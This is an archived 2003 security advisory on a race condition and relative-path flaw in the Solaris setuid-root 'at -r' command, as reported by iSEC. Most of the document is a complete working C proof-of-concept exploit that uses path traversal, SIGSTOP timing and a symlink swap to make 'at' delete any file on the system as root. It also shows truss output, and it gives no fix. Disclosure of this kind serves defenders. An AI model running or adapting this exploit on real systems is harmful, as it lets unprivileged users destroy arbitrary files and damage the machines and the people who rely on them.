27th Jan 2003 [SBWID-5954]
COMMAND
	at -r job name handling and race condition
SYSTEMS AFFECTED
	all
PROBLEM
	Wojciech Purczynski [[email protected]] of iSEC Security Research, found :
	
	 http://isec.pl/vulnerabilities/isec-0008-sun-at.txt
	
	Race condition and argument handling vulnerabilities in the  setuid-root
	/usr/bin/at binary allows to remove any file on the filesystem.
	
	Details:
	========
	
	At utility reads commands from standard input and groups  them  together
	as an at-job, to be executed at a later time.
	Each at-job is kept in separate file in at spool directory. At  jobs  my
	be removed if -r option is used  with  a  job-id  parameter  to  the  at
	command.
	However, there are two vulnerabilities  within  the  code  that  removes
	at-job from at spool directory.
	At utility does not properly handle job ids specified as a parameter  to
	the -r option. It allows to remove jobs outside of at's spool  directory
	if relative path name is used. Only absolute  path  names  are  filtered
	out.
	At verifies ownership of the file and limits the  user  to  remove  only
	its own at-jobs. Unfortunatelly, a race condition occurs after at  stats
	the file  and  before  the  file  is  unlinked.  By  altering  directory
	structure between these two system calls, at may  be  fooled  to  remove
	file other than it expects.
	Since this code  is  executed  with  full  root  privileges,  these  two
	vulnerabilities may allow unprivileged users to remove any files on  the
	filesystem.
	Below is an example of truss output that uncovers the vulnerability:
	
	bash# truss -o log /usr/bin/at -r ../../../../tmp/foo
	[...]
	chdir("/var/spool/cron/atjobs")                 = 0
	stat64("../../../../tmp/foo", 0xFFBEF360)       = 0
	[...]
	unlink("../../../../tmp/foo")                   = 0
	[...]
	
	
	Exploit:
	========
	
	Below is attached a working proof-of-concept exploit. It should  succeed
	after few trials (single dot is printed on each trial):
	
	- ------8<------isec-solaris-at-rm------8<------
	#include <stdio.h>
	#include <unistd.h>
	#include <signal.h>
	#include <sys/types.h>
	#include <errno.h>
	#include <stdlib.h>
	#include <sys/param.h>
	#include <fcntl.h>
	#include <string.h>
	#include <sys/stat.h>
	#include <sys/wait.h>
	#define maxjobs 256
	#define tmpdir	"/tmp"
	#define at	"/usr/bin/at"
	char target[MAXPATHLEN+1];
	char targetfile[MAXPATHLEN+1];
	char targetdir[MAXPATHLEN+1];
	void cleandirs(void);
	void err(char * msg)
	{
		if (errno) {
			int error = errno;
			perror(msg);
			cleandirs();
			errno = error;
			exit(errno);
		}
	}
	void gohome(void)
	{
		char * home;
		home = getenv("HOME");
		if (!home) {
			errno = EINVAL;
			err("getenv(\"HOME\")");
		}
		if (chdir(home) < 0)
			err("chdir($HOME)");
	}
	void cleandirs(void)
	{
		int no;
		char * tmp;
		for (no = 0; no < maxjobs; no++) {
			char path[MAXPATHLEN+1];
			snprintf(path, MAXPATHLEN, "%s/%i/%s", tmpdir, no, targetfile);
			path[MAXPATHLEN] = '\0';
			unlink(path);
			snprintf(path, MAXPATHLEN, "%s/%i", tmpdir, no);
			path[MAXPATHLEN] = '\0';
			unlink(path);
			rmdir(path);
		}
	}
	void createdirs(char ** argv)
	{
		int no;
		for(no = 0; no < maxjobs; no++) {
			char path[MAXPATHLEN+1];
			int fd;
			snprintf(path, MAXPATHLEN, "%s/%i", tmpdir, no);
			path[MAXPATHLEN] = '\0';
			unlink(path);
			if (mkdir(path, 0755) < 0 && errno != EEXIST)
				err("Unable to create directory");
			snprintf(path, MAXPATHLEN, "../../../..%s/%i/%s", tmpdir, no, targetfile);
			path[MAXPATHLEN] = '\0';
			fd = open(path, O_CREAT|O_RDONLY, 0755);
			if (fd < 0 && errno != EEXIST)
				err("Unable to create file");
			close(fd); /* empty file is just fine */
			argv[no] = strdup(path);
			if (!argv[no])
				err("Unable to allocate memory");
		}
		argv[no] = NULL;
	}
	pid_t spawnat(char ** argv)
	{
		int no, fd;
		pid_t child;
		child = fork();
		if (child < 0)
			err("Unable to fork");
		if (child)
			return child;
		/* child process */
		if (nice(19) < 0)
			err("Unable to change priority");
		fd = open("/dev/null", O_RDWR);
		if (fd < 0)
			err("Unable to open /dev/null");
		if (dup2(fd, STDIN_FILENO) < 0 ||
		    dup2(fd, STDOUT_FILENO) < 0 ||
		    dup2(fd, STDERR_FILENO) < 0)
			err("Unable to dup /dev/null");
		if (fd > STDERR_FILENO)
			close(fd);
		execv(argv[0], argv);
		err("Unable to execute at binary");
	}
	int doit(char * target)
	{
		int no = 0;
		char path[MAXPATHLEN+1];
		char * argv[maxjobs + 3];
		pid_t child;
		uid_t uid = getuid();
		int result = -1;
		argv[0] = at;
		argv[1] = "-r";
		createdirs(argv+2);
		child = spawnat(argv);
		while (no < maxjobs) {
			struct stat st;
			/* check if previous attempt succeeded */
			if (stat(target, &st) < 0) {
				if (errno == ENOENT) {
					result = 0;
					break;
				} else 
					err("Unable to stat target file");
			}
			/* wait until file is deleted */
			snprintf(path, MAXPATHLEN, "%s/%i/%s", tmpdir, no, targetfile);
			path[MAXPATHLEN] = '\0';
			while (stat(path, &st) == 0) ;
			if (errno != ENOENT)
				err("Unable to stat temporary file");
			/* stop the child to exploit race condition */
			if (kill(child, SIGSTOP) < 0)
				break;
			/* find first file that hasn't been removed yet */
			while (++no < maxjobs) {
				snprintf(path, MAXPATHLEN, "%s/%i/%s", tmpdir, no, targetfile);
				path[MAXPATHLEN] = '\0';
				if (stat(path, &st) == 0)
					break;
				if (errno != ENOENT)
					err("Unable to stat temporary file");
			}
			/* all jobs removed - too late */
			if (no == maxjobs) {
				kill(child, SIGCONT);
				break;
			}
			if (unlink(path) < 0)
				err("Unable to remove temporary file");
			*strrchr(path, '/') = '\0';
			if (rmdir(path) < 0)
				err("Unable to remove temporary directory");
			if (symlink(targetdir, path) < 0)
				err("Unable to create symlink");
			if (kill(child, SIGCONT) < 0)
				err("Unable to continue child process");
			no++;
		}
		/* avoid zombie processes */
		waitpid(child, NULL, 0);
		for (no = 0; no < maxjobs; no ++)
			free(argv + no + 2);
		return result;
	}
	int main(int argc, char * argv[])
	{
		char * tmp;
		fprintf(stderr, 
	"
	/usr/bin/at -r race condition exploit
	Remove any file on the filesystem.
	Bug found and exploit written by Wojciech Purczynski <[email protected]>
	iSEC Security Research http://isec.pl/
	");
		gohome();
		errno = EINVAL;
		if (argc < 2)
			err("Required parameter missing");
		if (argv[1][0] != '/')
			err("Absolute path required");
		strncpy(target, argv[1], MAXPATHLEN);
		target[MAXPATHLEN] = '\0';
		tmp = strrchr(argv[1], '/');
		*tmp = '\0';
		if (tmp == argv[1])
			strcpy(targetdir, "/");
		else {
			strncpy(targetdir, argv[1], MAXPATHLEN);
			targetdir[MAXPATHLEN] = '\0';
		}
		strncpy(targetfile, tmp+1, MAXPATHLEN);
		targetfile[MAXPATHLEN] = '\0';
		while (doit(target))
			fprintf(stderr, "."); /* przygarnij kropka */
		fprintf(stderr, "Success!\n");
		cleandirs();
		return 0;
	}
	- ------8<------isec-solaris-at-rm------8<------
	
SOLUTION
	?